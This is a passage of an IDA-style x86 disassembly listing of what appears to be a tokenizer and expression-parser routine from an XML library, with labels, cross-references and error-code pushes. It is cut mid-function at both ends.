		push	28h
		mov	ecx, esi
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]


loc_69B5F509:				; CODE XREF: sub_69B5F498+207j
					; sub_69B5F498+228j
		push	29h
		mov	ecx, esi
		call	sub_69B5EB78
		jmp	loc_69B5F745
; ---------------------------------------------------------------------------


loc_69B5F517:				; CODE XREF: sub_69B5F498+38j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	28h
		mov	ecx, esi
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		xor	ebx, ebx
		cmp	dword ptr [esi+20h], 29h
		jnz	short loc_69B5F545
		push	ebx
		push	ebx
		push	edi
		push	0C00CE602h
		mov	ecx, esi
		call	sub_69B62488


loc_69B5F545:				; CODE XREF: sub_69B5F498+9Cj
		push	[ebp+arg_4]
		mov	eax, [esi]
		push	ebx
		mov	ecx, esi
		call	dword ptr [eax+40h]
		push	29h
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B5EB78
		push	edi
		call	sub_69B6776D
		jmp	loc_69B5F73A
; ---------------------------------------------------------------------------


loc_69B5F566:				; CODE XREF: sub_69B5F498+2Fj
		xor	ebx, ebx
		cmp	[esi+34h], ebx
		jnz	short loc_69B5F57C
		push	ebx
		push	ebx
		push	edi
		push	0C00CE385h
		mov	ecx, esi
		call	sub_69B62488


loc_69B5F57C:				; CODE XREF: sub_69B5F498+D3j
		push	1
		push	4
		call	sub_69B8A458
		mov	ecx, [esi+30h]
		mov	[ebp+var_4], eax
		mov	eax, [esi+28h]
		push	eax
		push	ecx
		call	sub_69B192E9
		mov	edi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	ecx, esi
		push	eax
		push	ebx
		call	sub_69B5EC3F
		push	29h
		mov	ecx, esi
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	[ebp+var_4]
		mov	ecx, [esi+58h]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+4]
		jmp	loc_69B5F74E
; ---------------------------------------------------------------------------


loc_69B5F5D8:				; CODE XREF: sub_69B5F498+26j
		push	0
		push	2
		call	sub_69B8A458
		mov	[ebp+var_4], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	ecx, esi
		push	eax
		push	2
		call	sub_69B5EC3F
		push	5
		push	[ebp+var_4]
		call	sub_69B67706
		jmp	loc_69B5F6B5
; ---------------------------------------------------------------------------


loc_69B5F614:				; CODE XREF: sub_69B5F498+1Dj
		push	1
		push	offset off_69B296C4
		jmp	loc_69B5F4E2
; ---------------------------------------------------------------------------


loc_69B5F620:				; CODE XREF: sub_69B5F498+17j
		cmp	eax, 0FFFFFFFAh
		jz	loc_69B5F729
		cmp	eax, 0FFFFFFFBh
		jz	loc_69B5F71F
		cmp	eax, 24h
		jz	loc_69B5F6C5
		cmp	eax, 28h
		jz	short loc_69B5F670


loc_69B5F640:				; CODE XREF: sub_69B5F498+3Dj
		cmp	eax, 0FFFFFFA5h
		jz	short loc_69B5F666
		cmp	eax, 0FFFFFFA4h
		jz	short loc_69B5F666
		cmp	eax, 0FFFFFFA3h
		jz	short loc_69B5F666
		push	[ebp+arg_4]
		xor	ebx, ebx
		push	ebx
		push	1
		push	ebx
		mov	ecx, esi
		call	sub_69B62690


loc_69B5F65F:				; CODE XREF: sub_69B5F498+1D6j
		mov	edi, eax
		jmp	loc_69B5F74C
; ---------------------------------------------------------------------------


loc_69B5F666:				; CODE XREF: sub_69B5F498+1ABj
					; sub_69B5F498+1B0j ...
		push	eax
		mov	ecx, esi
		call	sub_69B5ECB6
		jmp	short loc_69B5F65F
; ---------------------------------------------------------------------------


loc_69B5F670:				; CODE XREF: sub_69B5F498+1A6j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	[ebp+arg_4]
		mov	eax, [esi]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B5F696
		dec	dword ptr [esi+48h]
		xor	eax, eax
		jmp	loc_69B5F751
; ---------------------------------------------------------------------------


loc_69B5F696:				; CODE XREF: sub_69B5F498+1F2j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		cmp	eax, ebx
		jz	loc_69B5F509
		xor	ecx, ecx
		mov	cl, [esi+0Ch]
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	ebx
		call	sub_69B667B7


loc_69B5F6B5:				; CODE XREF: sub_69B5F498+177j
		mov	edi, eax
		add	eax, 8
		neg	edi
		sbb	edi, edi
		and	edi, eax
		jmp	loc_69B5F509
; ---------------------------------------------------------------------------


loc_69B5F6C5:				; CODE XREF: sub_69B5F498+19Dj
		xor	ebx, ebx
		cmp	[esi+58h], ebx
		jnz	short loc_69B5F6DB
		push	ebx
		push	ebx
		push	edi
		push	0C00CE605h
		mov	ecx, esi
		call	sub_69B62488


loc_69B5F6DB:				; CODE XREF: sub_69B5F498+232j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	0FFFFFFFCh
		mov	ecx, esi
		call	sub_69B5EB78
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+30h]
		mov	[ebp+arg_4], eax
		mov	eax, [esi+28h]
		push	eax
		push	ecx
		call	sub_69B192E9
		mov	ecx, [esi+58h]
		mov	edx, [ecx]
		push	eax
		call	dword ptr [edx]
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_69B5F745
		push	ebx
		push	ebx
		push	[ebp+arg_4]
		mov	ecx, esi
		push	0C00CE605h
		call	sub_69B62488
		jmp	short loc_69B5F745
; ---------------------------------------------------------------------------


loc_69B5F71F:				; CODE XREF: sub_69B5F498+194j
		push	dword ptr [esi+24h]
		call	sub_69B65631
		jmp	short loc_69B5F73A
; ---------------------------------------------------------------------------


loc_69B5F729:				; CODE XREF: sub_69B5F498+18Bj
		fld	qword ptr [esi+40h]
		mov	eax, [esi+24h]
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		push	eax		; int
		call	sub_69B6564F


loc_69B5F73A:				; CODE XREF: sub_69B5F498+C9j
					; sub_69B5F498+28Fj
		mov	edi, eax
		add	eax, 8
		neg	edi
		sbb	edi, edi
		and	edi, eax


loc_69B5F745:				; CODE XREF: sub_69B5F498+7Aj
					; sub_69B5F498+272j ...
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]


loc_69B5F74C:				; CODE XREF: sub_69B5F498+1C9j
		mov	eax, edi


loc_69B5F74E:				; CODE XREF: sub_69B5F498+13Bj
		dec	dword ptr [esi+48h]


loc_69B5F751:				; CODE XREF: sub_69B5F498+1F9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B5F498	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5F758	proc near		; CODE XREF: sub_69B5FB27+5Bp

var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+1Ch]
		xor	eax, eax
		cmp	[esi+28h], eax
		push	edi
		mov	[ebp+var_8], ecx
		jnz	short loc_69B5F774
		cmp	[esi+2Ch], eax
		jz	short loc_69B5F786


loc_69B5F774:				; CODE XREF: sub_69B5F758+15j
		push	eax
		push	eax
		push	ecx
		push	0C00CE600h
		mov	ecx, esi
		mov	[ebp+arg_0], eax
		call	sub_69B62488


loc_69B5F786:				; CODE XREF: sub_69B5F758+1Aj
		mov	eax, [esi+1Ch]
		mov	ax, [eax]
		mov	[ebp+var_4], ax
		mov	eax, [esi]
		lea	edi, [esi+30h]
		mov	ebx, [edi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	28h
		mov	ecx, esi
		call	sub_69B5EB78
		movzx	eax, [ebp+var_4]
		sub	eax, 63h
		push	2
		pop	ecx
		jz	loc_69B5F84C
		sub	eax, 0Bh
		jz	short loc_69B5F7DF
		sub	eax, ecx
		jz	short loc_69B5F802
		sub	eax, 4
		jz	short loc_69B5F7EF


loc_69B5F7C3:				; CODE XREF: sub_69B5F758+FAj
		push	0
		push	0
		push	[ebp+var_8]
		mov	ecx, esi
		push	0C00CE600h
		call	sub_69B62488
		xor	al, al


loc_69B5F7D8:				; CODE XREF: sub_69B5F758+124j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_69B5F7DF:				; CODE XREF: sub_69B5F758+60j
		cmp	ebx, dword_69B9B298
		jnz	short loc_69B5F7EF
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 0FFFFFFFFh
		jmp	short loc_69B5F85D
; ---------------------------------------------------------------------------


loc_69B5F7EF:				; CODE XREF: sub_69B5F758+69j
					; sub_69B5F758+8Dj
		cmp	ebx, dword_69B9B290
		jnz	short loc_69B5F802
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 1
		jmp	short loc_69B5F85D
; ---------------------------------------------------------------------------


loc_69B5F802:				; CODE XREF: sub_69B5F758+64j
					; sub_69B5F758+9Dj
		cmp	ebx, dword_69B9B288
		jnz	short loc_69B5F84C
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 5
		cmp	word ptr [esi+0Eh], 29h
		jz	short loc_69B5F85D
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	0FFFFFFFBh
		mov	ecx, esi
		call	sub_69B5EB78
		push	0
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17320
		push	dword ptr [esi+24h]
		call	sub_69B19611
		push	eax
		push	edi
		call	sub_69B17320
		push	0
		add	esi, 2Ch
		push	esi
		jmp	short loc_69B5F875
; ---------------------------------------------------------------------------


loc_69B5F84C:				; CODE XREF: sub_69B5F758+57j
					; sub_69B5F758+B0j
		cmp	ebx, dword_69B9B280
		jnz	loc_69B5F7C3
		mov	eax, [ebp+arg_0]
		mov	[eax], ecx


loc_69B5F85D:				; CODE XREF: sub_69B5F758+95j
					; sub_69B5F758+A8j ...
		xor	ebx, ebx
		push	ebx
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17320
		push	ebx
		add	esi, 2Ch
		push	esi
		call	sub_69B17320
		push	ebx
		push	edi


loc_69B5F875:				; CODE XREF: sub_69B5F758+F2j
		call	sub_69B17320
		mov	al, 1
		jmp	loc_69B5F7D8
sub_69B5F758	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5F881	proc near		; DATA XREF: .text:69B12BBCo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B60C68
		mov	eax, [esi+18h]
		lea	edx, [eax-2]
		movzx	eax, word ptr [esi+0Eh]
		cmp	eax, 3Bh
		push	3Ah
		mov	[esi+1Ch], edx
		pop	ebx
		jg	loc_69B5F9D4
		jz	loc_69B5FAFE
		cmp	eax, 27h
		jg	short loc_69B5F922
		jz	short loc_69B5F916
		mov	ecx, eax
		sub	ecx, 0
		jz	loc_69B5FAFE
		push	21h
		pop	edi
		sub	ecx, edi
		jz	short loc_69B5F8ED
		dec	ecx
		jz	short loc_69B5F916
		dec	ecx
		jz	loc_69B5FAFE
		dec	ecx
		jnz	loc_69B5FA66
		mov	ecx, esi
		call	sub_69B5EA78
		mov	dword ptr [esi+20h], 24h
		jmp	loc_69B5FB08
; ---------------------------------------------------------------------------


loc_69B5F8ED:				; CODE XREF: sub_69B5F881+46j
		mov	ecx, esi
		call	sub_69B5EA78
		cmp	word ptr [esi+0Eh], 3Dh
		jnz	short loc_69B5F90E
		mov	ecx, esi
		call	sub_69B5EA78
		mov	dword ptr [esi+20h], 0FFFFFFF9h
		jmp	loc_69B5FB08
; ---------------------------------------------------------------------------


loc_69B5F90E:				; CODE XREF: sub_69B5F881+78j
					; sub_69B5F881+137j ...
		mov	[esi+20h], edi
		jmp	loc_69B5FB08
; ---------------------------------------------------------------------------


loc_69B5F916:				; CODE XREF: sub_69B5F881+34j
					; sub_69B5F881+49j
		mov	ecx, esi
		call	sub_69B62780
		jmp	loc_69B5FB08
; ---------------------------------------------------------------------------


loc_69B5F922:				; CODE XREF: sub_69B5F881+32j
		cmp	eax, 28h
		jl	loc_69B5FA66
		cmp	eax, 2Dh
		jle	loc_69B5FAFE
		push	2Eh
		pop	edi
		cmp	eax, edi
		jz	short loc_69B5F991
		push	2Fh
		pop	edi
		cmp	eax, edi
		jz	short loc_69B5F96A
		cmp	eax, ebx
		jnz	loc_69B5FA66
		mov	ecx, esi
		mov	[esi+20h], ebx
		call	sub_69B5EA78
		cmp	[esi+0Eh], bx
		jnz	loc_69B5FB08
		mov	dword ptr [esi+20h], 0FFFFFFB1h
		jmp	loc_69B5FB01
; ---------------------------------------------------------------------------


loc_69B5F96A:				; CODE XREF: sub_69B5F881+BFj
		mov	ecx, esi
		mov	[esi+20h], edi
		call	sub_69B5EA78
		cmp	[esi+0Eh], di
		jnz	loc_69B5FB08
		mov	ecx, esi
		call	sub_69B5EA78
		mov	dword ptr [esi+20h], 0FFFFFFFDh
		jmp	loc_69B5FB08
; ---------------------------------------------------------------------------


loc_69B5F991:				; CODE XREF: sub_69B5F881+B8j
		mov	ecx, esi
		call	sub_69B5EA78
		mov	ax, [esi+0Eh]
		cmp	ax, di
		jnz	short loc_69B5F9B4
		mov	ecx, esi
		call	sub_69B5EA78
		mov	dword ptr [esi+20h], 0FFFFFFFEh
		jmp	loc_69B5FB08
; ---------------------------------------------------------------------------


loc_69B5F9B4:				; CODE XREF: sub_69B5F881+11Ej
		cmp	ax, 30h
		jb	loc_69B5F90E
		cmp	ax, 39h
		ja	loc_69B5F90E


loc_69B5F9C8:				; CODE XREF: sub_69B5F881+1FDj
		mov	ecx, esi
		call	sub_69B62EAF
		jmp	loc_69B5FB08
; ---------------------------------------------------------------------------


loc_69B5F9D4:				; CODE XREF: sub_69B5F881+23j
		cmp	eax, 5Bh
		jg	short loc_69B5FA44
		jz	loc_69B5FAFE
		mov	ecx, eax
		sub	ecx, 3Ch
		jz	short loc_69B5FA1C
		dec	ecx
		jz	loc_69B5FAFE
		dec	ecx
		jz	short loc_69B5F9F4
		dec	ecx
		dec	ecx
		jmp	short loc_69B5FA60
; ---------------------------------------------------------------------------


loc_69B5F9F4:				; CODE XREF: sub_69B5F881+16Dj
		mov	ecx, esi
		mov	[esi+20h], eax
		call	sub_69B5EA78
		cmp	word ptr [esi+0Eh], 3Dh
		jnz	loc_69B5FB08
		mov	ecx, esi
		call	sub_69B5EA78
		mov	dword ptr [esi+20h], 0FFFFFFF7h
		jmp	loc_69B5FB08
; ---------------------------------------------------------------------------


loc_69B5FA1C:				; CODE XREF: sub_69B5F881+163j
		mov	ecx, esi
		mov	[esi+20h], eax
		call	sub_69B5EA78
		cmp	word ptr [esi+0Eh], 3Dh
		jnz	loc_69B5FB08
		mov	ecx, esi
		call	sub_69B5EA78
		mov	dword ptr [esi+20h], 0FFFFFFF8h
		jmp	loc_69B5FB08
; ---------------------------------------------------------------------------


loc_69B5FA44:				; CODE XREF: sub_69B5F881+156j
		mov	ecx, eax
		sub	ecx, 5Dh
		jz	loc_69B5FAFE
		sub	ecx, 1Eh
		jz	loc_69B5FAFE
		dec	ecx
		jz	loc_69B5FAEE
		dec	ecx


loc_69B5FA60:				; CODE XREF: sub_69B5F881+171j
		jz	loc_69B5FAFE


loc_69B5FA66:				; CODE XREF: sub_69B5F881+53j
					; sub_69B5F881+A4j ...
		mov	eax, [esi+34h]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	edx
		call	sub_69B6282D
		mov	edi, eax
		mov	eax, [esi+1Ch]
		cmp	edi, eax
		jbe	loc_69B5F9C8
		cmp	[edi], bx
		jnz	short loc_69B5FABF
		cmp	[edi+2], bx
		jnz	short loc_69B5FABF
		mov	ecx, edi
		sub	ecx, eax
		sar	ecx, 1
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_69B5EB0B
		test	al, al
		mov	ecx, esi
		jz	short loc_69B5FAAC


loc_69B5FAA4:				; CODE XREF: sub_69B5F881+26Bj
		push	edi
		call	sub_69B5EB96
		jmp	short loc_69B5FB08
; ---------------------------------------------------------------------------


loc_69B5FAAC:				; CODE XREF: sub_69B5F881+221j
		push	0
		push	0
		push	dword ptr [esi+1Ch]
		push	0C00CE607h
		call	sub_69B62488
		jmp	short loc_69B5FB08
; ---------------------------------------------------------------------------


loc_69B5FABF:				; CODE XREF: sub_69B5F881+206j
					; sub_69B5F881+20Cj
		push	[ebp+var_C]
		lea	eax, [esi+28h]
		push	eax
		mov	dword ptr [esi+20h], 0FFFFFFFCh
		call	sub_69B17320
		push	[ebp+var_8]
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320
		push	[ebp+var_4]
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		jmp	short loc_69B5FAA4
; ---------------------------------------------------------------------------


loc_69B5FAEE:				; CODE XREF: sub_69B5F881+1D8j
		mov	ecx, esi
		call	sub_69B5EA78
		mov	dword ptr [esi+20h], 7Ch
		jmp	short loc_69B5FB08
; ---------------------------------------------------------------------------


loc_69B5FAFE:				; CODE XREF: sub_69B5F881+29j
					; sub_69B5F881+3Bj ...
		mov	[esi+20h], eax


loc_69B5FB01:				; CODE XREF: sub_69B5F881+E4j
		mov	ecx, esi
		call	sub_69B5EA78


loc_69B5FB08:				; CODE XREF: sub_69B5F881+67j
					; sub_69B5F881+88j ...
		mov	eax, [esi+20h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B5F881	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5FB10	proc near		; CODE XREF: sub_69B3D17C+Bp
					; sub_69B5FE43+30p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B5F0ED SIZE 0000002A BYTES

		push	60h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B5FB22
		mov	ecx, eax
		jmp	loc_69B5F0ED
; ---------------------------------------------------------------------------


loc_69B5FB22:				; CODE XREF: sub_69B5FB10+9j
		xor	eax, eax
		retn	4
sub_69B5FB10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5FB27	proc near		; CODE XREF: sub_69B5FCE2+6Cp
					; sub_69B60160+1Cp ...

var_8		= dword	ptr -8
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_8], 0FFFFFFBCh
		push	ebx
		push	esi
		setz	[ebp+var_1]
		cmp	[ebp+arg_8], 0FFFFFFB6h
		mov	esi, ecx
		mov	eax, [esi+20h]
		mov	ebx, [esi+1Ch]
		setz	[ebp+var_3]
		cmp	eax, 0FFFFFFFCh
		push	edi
		mov	[ebp+var_2], 0
		mov	edi, 0C00CE600h
		jz	short loc_69B5FB65
		cmp	eax, 2Ah
		jz	short loc_69B5FB65
		push	0
		push	0
		push	ebx
		push	edi
		call	sub_69B62488


loc_69B5FB65:				; CODE XREF: sub_69B5FB27+2Cj
					; sub_69B5FB27+31j
		mov	eax, [esi+20h]
		cmp	eax, 0FFFFFFFCh
		jnz	loc_69B5FBF1
		cmp	word ptr [esi+0Eh], 28h
		jnz	short loc_69B5FBF1
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, esi
		mov	[ebp+var_2], 1
		call	sub_69B5F758
		test	al, al
		jnz	short loc_69B5FB98
		push	0
		push	0
		push	ebx
		push	edi
		mov	ecx, esi
		call	sub_69B62488


loc_69B5FB98:				; CODE XREF: sub_69B5FB27+62j
		mov	edi, [ebp+var_8]


loc_69B5FB9B:				; CODE XREF: sub_69B5FB27+101j
					; sub_69B5FB27+10Aj ...
		cmp	[ebp+var_1], 0
		jnz	short loc_69B5FBAB
		cmp	[ebp+var_3], 0
		jz	loc_69B5FC4E


loc_69B5FBAB:				; CODE XREF: sub_69B5FB27+78j
		cmp	edi, 0Fh
		jz	loc_69B5FC4B
		cmp	edi, 0FFFFFFFFh
		jz	loc_69B5FC4B
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	eax
		call	sub_69B686B1
		mov	edi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	29h
		mov	ecx, esi
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, edi
		add	edi, 8
		neg	eax
		sbb	eax, eax
		and	eax, edi
		jmp	loc_69B5FCDB
; ---------------------------------------------------------------------------


loc_69B5FBF1:				; CODE XREF: sub_69B5FB27+44j
					; sub_69B5FB27+4Fj
		mov	cl, [ebp+var_1]
		neg	cl
		sbb	ecx, ecx
		and	ecx, 0Fh
		cmp	eax, 2Ah
		mov	edi, ecx
		jnz	short loc_69B5FC23
		push	0
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320


loc_69B5FC23:				; CODE XREF: sub_69B5FB27+D9j
		xor	eax, eax
		cmp	[esi+2Ch], eax
		jz	loc_69B5FB9B
		cmp	[esi+28h], eax
		jnz	loc_69B5FB9B
		push	eax
		push	eax
		push	ebx
		push	0C00CE60Fh
		mov	ecx, esi
		call	sub_69B62488
		jmp	loc_69B5FB9B
; ---------------------------------------------------------------------------


loc_69B5FC4B:				; CODE XREF: sub_69B5FB27+87j
					; sub_69B5FB27+90j
		push	0Fh
		pop	edi


loc_69B5FC4E:				; CODE XREF: sub_69B5FB27+7Ej
		cmp	[ebp+arg_8], 0FFFFFFB2h
		jz	short loc_69B5FC87
		cmp	[ebp+arg_8], 0FFFFFFBBh
		jz	short loc_69B5FC60
		cmp	[ebp+arg_8], 0FFFFFFBCh
		jnz	short loc_69B5FCB9


loc_69B5FC60:				; CODE XREF: sub_69B5FB27+131j
		mov	eax, [esi+30h]
		mov	ecx, [esi+2Ch]
		mov	edx, [esi+28h]
		cmp	edi, 1
		setz	bl
		push	ebx
		xor	ebx, ebx
		mov	bl, [esi+0Ch]
		push	ebx
		push	edi
		push	[ebp+arg_4]
		push	eax
		push	ecx
		push	edx
		push	[ebp+arg_0]
		call	sub_69B685B5
		jmp	short loc_69B5FCAC
; ---------------------------------------------------------------------------


loc_69B5FC87:				; CODE XREF: sub_69B5FB27+12Bj
		mov	eax, [esi+2Ch]
		mov	ecx, [esi+30h]
		mov	edx, [esi+28h]
		cmp	edi, 1
		setz	bl
		push	ebx
		xor	ebx, ebx
		mov	bl, [esi+0Ch]
		push	ebx
		push	[ebp+arg_4]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	[ebp+arg_0]
		call	sub_69B67CEB


loc_69B5FCAC:				; CODE XREF: sub_69B5FB27+15Ej
		mov	edi, eax
		add	eax, 8
		neg	edi
		sbb	edi, edi
		and	edi, eax
		jmp	short loc_69B5FCBC
; ---------------------------------------------------------------------------


loc_69B5FCB9:				; CODE XREF: sub_69B5FB27+137j
		mov	edi, [ebp+arg_8]


loc_69B5FCBC:				; CODE XREF: sub_69B5FB27+190j
		cmp	[ebp+var_2], 0
		jz	short loc_69B5FCD2
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	29h
		mov	ecx, esi
		call	sub_69B5EB78


loc_69B5FCD2:				; CODE XREF: sub_69B5FB27+199j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, edi


loc_69B5FCDB:				; CODE XREF: sub_69B5FB27+C5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B5FB27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5FCE2	proc near		; CODE XREF: sub_69B5FEEC+B9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, ecx
		call	sub_69B5EA61
		mov	eax, [edi+20h]
		cmp	eax, 0FFFFFFFCh
		jz	short loc_69B5FD44
		cmp	eax, 2Ah
		jz	short loc_69B5FD18
		cmp	eax, 40h
		mov	ecx, edi
		jz	short loc_69B5FD0F
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B60230
		jmp	short loc_69B5FD53
; ---------------------------------------------------------------------------


loc_69B5FD0F:				; CODE XREF: sub_69B5FCE2+1Ej
		mov	eax, [edi]
		call	dword ptr [eax+44h]
		push	0FFFFFFBCh
		jmp	short loc_69B5FD46
; ---------------------------------------------------------------------------


loc_69B5FD18:				; CODE XREF: sub_69B5FCE2+17j
		xor	ecx, ecx
		mov	cl, [edi+0Ch]
		xor	eax, eax
		push	eax
		push	ecx
		push	eax
		push	[ebp+arg_4]
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_69B685B5
		mov	esi, eax
		add	eax, 8
		neg	esi
		sbb	esi, esi
		and	esi, eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		jmp	short loc_69B5FD55
; ---------------------------------------------------------------------------


loc_69B5FD44:				; CODE XREF: sub_69B5FCE2+12j
		push	0FFFFFFBBh


loc_69B5FD46:				; CODE XREF: sub_69B5FCE2+34j
		push	[ebp+arg_4]
		mov	ecx, edi
		push	[ebp+arg_0]
		call	sub_69B5FB27


loc_69B5FD53:				; CODE XREF: sub_69B5FCE2+2Bj
		mov	esi, eax


loc_69B5FD55:				; CODE XREF: sub_69B5FCE2+60j
		dec	dword ptr [edi+48h]
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	8
sub_69B5FCE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5FD60	proc near		; CODE XREF: sub_69B6048B+58p

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		call	sub_69B5EA61
		push	[ebp+arg_4]
		mov	ecx, edi
		push	[ebp+arg_0]
		call	sub_69B5F498
		xor	ebx, ebx
		cmp	dword ptr [edi+20h], 5Bh
		mov	esi, eax
		mov	eax, [edi+1Ch]
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], bl
		jnz	loc_69B5FE2F
		jmp	short loc_69B5FD99
; ---------------------------------------------------------------------------


loc_69B5FD96:				; CODE XREF: sub_69B5FD60+C9j
		mov	eax, [ebp+var_8]


loc_69B5FD99:				; CODE XREF: sub_69B5FD60+34j
		push	ebx
		push	ebx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_69B62F36
		mov	ecx, [edi+1Ch]
		push	[ebp+arg_4]
		mov	[ebp+var_8], ecx
		push	eax
		mov	ecx, edi
		mov	[ebp+arg_0], eax
		call	sub_69B5EBFB
		mov	esi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+4Ch]
		mov	[ebp+var_4], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jz	short loc_69B5FDE5
		test	byte ptr [ebp+var_4+1],	2
		jz	short loc_69B5FDE5
		xor	eax, eax
		mov	al, [edi+0Ch]
		push	eax
		push	[ebp+arg_4]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		jmp	short loc_69B5FE15
; ---------------------------------------------------------------------------


loc_69B5FDE5:				; CODE XREF: sub_69B5FD60+6Dj
					; sub_69B5FD60+73j
		test	byte ptr [ebp+var_4+1],	1
		jnz	short loc_69B5FE07
		xor	eax, eax
		mov	al, [edi+0Ch]
		push	eax
		push	[ebp+arg_0]
		call	sub_69B664E8
		mov	ecx, eax
		add	eax, 10h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	[ebp+arg_0], ecx


loc_69B5FE07:				; CODE XREF: sub_69B5FD60+89j
		xor	eax, eax
		mov	al, [edi+0Ch]
		push	eax
		push	[ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		push	ebx


loc_69B5FE15:				; CODE XREF: sub_69B5FD60+83j
		call	sub_69B65FCF
		mov	esi, eax
		add	eax, 8
		neg	esi
		sbb	esi, esi
		and	esi, eax
		cmp	dword ptr [edi+20h], 5Bh
		jz	loc_69B5FD96


loc_69B5FE2F:				; CODE XREF: sub_69B5FD60+2Ej
		lea	ecx, [ebp+var_18]
		call	sub_69B466CC
		dec	dword ptr [edi+48h]
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B5FD60	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5FE43	proc near		; DATA XREF: .text:69B1C7F8o
					; .text:69B1C808o
		push	20h
		push	offset dword_69B5FEE0
		call	sub_69B19C5C
